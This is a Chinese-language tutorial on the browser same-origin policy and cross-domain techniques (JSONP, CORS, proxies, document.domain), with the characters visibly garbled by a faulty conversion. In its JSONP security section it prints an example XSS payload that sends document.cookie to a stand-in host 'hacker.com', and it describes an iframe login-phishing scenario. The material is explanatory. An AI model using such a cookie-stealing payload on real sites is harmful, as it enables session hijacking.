同源策略:协议、域名、端口都相同,是一种安全策略,不一样源的客户端脚本在没有明确受权的状况下,不能读取对方资源。javascript
同源策略的目的:html
保证用户的信息安全,防止恶意的网站盗取数据。若是缺乏了同源策略,浏览器很容易受到xss、csrf的攻击。前端
设置同源策略的主要目的是为了安全,若是没有同源策略,在浏览器中的cookie等其余数据能够任意读取,不一样域下的DOM任意操做,ajax任意请求其余网站的隐私数据。java
设想这样一个场景:一个恶意网站的页面经过iframe嵌入了银行的登录页面(二者不一样源)若是没有同源策略的限制,恶意网站上的js脚本就能够在用户登陆银行的时候获取用户名和密码。ajax
(1)作一个假网站,里面用iframe嵌套一个银行网站 http://mybank.com。 (2)把iframe宽高啥的调整到页面所有,这样用户进来除了域名,别的部分和银行的网站没有任何差异。 (3)这时若是用户输入帐号密码,咱们的主网站能够跨域访问到http://mybank.com的dom节点,就能够拿到用户的输入了,那么就完成了一次攻击。
跨域问题是因为浏览器为了防止CSRF攻击,避免恶意攻击带来的风险而采起的同源策略限制。CSRF攻击就是利用用户的登陆状态发起已请求,可是跨域不能彻底阻止CSRF,由于跨域是请求发出去了,可是被浏览器拦截了响应。json
同源策略只针对于浏览器端,浏览器一旦检测到请求的结果的域名不一致后,会阻塞请求结果。须要注意的是,跨域请求是能够发出去的,是响应被浏览器阻塞了。后端
服务器收到了请求,而且正常返回数据,可是返回的数据被浏览器阻塞掉了。因此说同源策略是限制了不一样源的读(返回数据),但不限制不一样源的写(发送请求)。跨域
为何不限制写呢?浏览器
是由于若是请求都发不出去,那在源头上就限制死了,网站之间就没法实现共享资源了。另外,限制读即浏览器拦截请求结果,通常状况下就够了,假如访问的是黑网站,那么网站没法根据请求结果进一步的操做。安全
同源策略的限制:
(1)不能经过ajax请求不一样源中的数据
(2)浏览器中不一样域的框架之间是不能进行js交互操做的。
为何要跨域?
随着互联网的发展,同源策略愈来愈严格,目前,对于非同源的网站共有三种行为受到限制。
(1)Cookie、LocalStorage和IndexDB没法获取。
(2)DOM没法得到。
(3)Ajax请求不能发送。
虽然这些限制是必要的,可是有时很不方便,合理的用途也会受到影响,所以须要跨域。
有三个标签能够容许跨域加载资源:<img/>、<link/>、<script>
跨域:当协议、域名、端口不一样时,会出现跨域问题
在本地模拟跨域现象:
图1 图2
图二的127.0.0.1一样也指向localhost,可是与localhost不是一个域名。因此图2会出现跨域错误而且ajax执行error()方法:
如何解决ajax跨域
(1)JSONP方式
(2)跨域资源共享(CORS),即添加响应头
(3)代理请求方式
(4)document.domain来跨越子域
1、JSONP jsonp只支持"GET"方式的传输类型
JSONP是JSON with Padding的略称。
它是一个非官方的协议,它容许在服务器端集成Script tags返回至客户端,经过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。JSONP是一种非正式传输协议,该协议的一个要点就是容许用户传递一个callback参数给服务端,而后服务端返回数据时会将这个callback参数做为函数名来包裹住JSON数据,这样客户端就能够随意定制本身的函数来自动处理返回数据了。
解决方法:
jsp:
servlet:
jsonp的原理
动态建立<script>标签,而<script>的src属性是没有跨域限制的。
优势:
(1)兼容性好,再更加古老的浏览器中均可以运行,不须要XMLHttpRequest或ActiveX的支持;
(2)在请求完毕后能够经过callback的方式回传结果。
缺点:
(1)只支持GET方法而不支持POST等其余请求方法;
(2)它只支持跨域HTTP请求这种状况,不能解决不一样域的两个页面之间如何进行js调用的问题;
(3) jsonp在调用失败的时候不会返回各类HTTP状态码;
(5)安全性问题。
可能致使的两个安全性问题:
XSS攻击
JSONP设置一个callback参数并传给服务器,而后服务器将其做为函数名包裹数据,这种作法方便了先后端交互,使得后端在不知道前端页面具体内容的状况下也能正确的调用。
举个栗子:
<body> <p style="color:red;">您的余额是<span id=amount>&&&amount&&&</span></p> <button id=button>付款</button> <script> $('#button').on('click',function(){ let script=document.createElement('script') script.src='/pay?callback=yyy' document.body.appendChild(script) script.onload=function(e){ e.currentTarget.remove() } script.onerror=function(e){ alert('fail'); e.currentTarget.remove() } }) window.yyy=function(result){ amount.innerText=result.left } </script> </body>
在以上代码中,函数名yy做为参数传递给服务器:script.src='/pay?callback=yyy'
可是,假如函数名yy不是正常的函数名,而是一个script标签呢??如script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
那么,当服务器返回响应的时候,这段恶意代码就会被执行,即XSS攻击。
解决方法:对对返回的内容进行字符过滤,若返回的是script脚本内容,则过滤后就会变成普通的文本格式,脚本不会被执行。
JSON劫持又称CSRF攻击
由于jsonp是从其余域中加载代码执行,若是其余域不安全,返回的数据或代码极可能会对咱们的页面或服务进行攻击,好比把咱们的用户重定向到一些非法网站或者窃取用户的身份认证等。
2、CORS
网上说要添加以上两句,可是我试了一下只要最上面的一句就能够了,get和post都能访问。即:
response.setHeader("Access-Control-Allow-Origin", "*");//*容许任何域
3、代理的方式
服务器A的test01.html页面想访问服务器B的后台action,返回“test”字符串,此时就出现跨域请求,浏览器控制台会出现报错提示,因为跨域是浏览器的同源策略形成的,对于服务器后台不存在该问题,能够在服务器A中添加一个代理action,在该action中完成对服务器B中action数据的请求,而后在返回到test01.html页面。
4、document.domain
原理:设置相同的主域例子。 只能设置两个具备相同基础域的域名。
好比在aaa.com的一个网页(a.html)中利用iframe引入b.com的一个网页(b.html)
这是在a.html里面能够看到b.html的内容,可是却不能经过js来操做它,由于两个页面属于不一样的域,在操做之间,js会检测两个页面的域是否相等,若是相等才容许操做。
在这里不可能把a.html与b.html利用js改为同一个域的,由于他们的基础域名不相等。(强行改为相同的域会报参数无效错误)
因此,若是a.html中引入aaa.com里的另外一个网页,是能够经过js操做的。
还有另外一种状况,有两个域名:
aaa.xxx.com
bbb.xxx.com
能够经过document.domain='xxx.com'实现同一基础域名之间的跨域。
document.domain的设置是有限制的,咱们只能把document.domain设置成自身或更高一级的父域,且主域必须相同。
修改document.domain的方法只适用于不一样子域的框架间的交互,对ajax访问的不适用。
JSONP与CORS的优缺点:
(1)JSONP的主要优点是对于浏览器的支持比较好;而CORS对于IE10一下是不支持的;
(2)JSONP只能用于获取资源(即只读,相似于get请求);CORS支持全部类型的HTTP请求,功能完善;
(3)JSONP的错误处理机制并不完善,咱们没办法进行错误处理;CORS能够经过onerror事件监听错误,利于排查;
(4)JSONP只会发送一次请求;而对于复杂的请求,CORS会发送两次请求(预检);
jsonp的做用主要是实现跨域的,同时能够实现跨域的标签有:<script>、<image>、<link>等
jsonp是经过动态<script>元素来使用的,使用时能够为src属性指定一个跨域URL。这里的<script>和<image>元素相似,都有能力不受限地从其余域加载资源。
实现思路:
(1)先处理url,包括参数以及callback函数名
(2)建立一个新的script标签到页面上
(3)把处理好地回调函数挂到window对象上
(4)回调完再删掉script
<script> window.onload=function(){ //http://www.baidu.com?aa=11&callback=my_jsonp04349289664328899 var jsonp=function(url,params,callback){ //判断url有没有参数,没有在后面加“?”,有就在参数后面接“&” var queryString=url.indexOf('?')==-1?"?":"&"; //添加参数 params的形式为{"name":"123","age":"32"} for(item in params){ queryString += item+"="+params[item]+"&"; } //处理函数名 //Math.random()为0-1之间的小数,将 小数换成整数字符串 var random=Math.random().toString().replace('.',''); var cname='my_jsonp'+random; var cb='callback='+cname; queryString+=cb;//将callback参数拼接到url后面 var script=document.createElement('script'); script.src=url+queryString; document.body.appendChild(script); //把回调函数的名字赋给window window[cname]=function(params){ //这里执行回调的操做,用来处理参数 callback(params); //拿到了就删除这个script document.body.removeChild(script); }; } jsonp("http://www.baidu.com",{aa:11},function(){ console.log(params); }) } </script>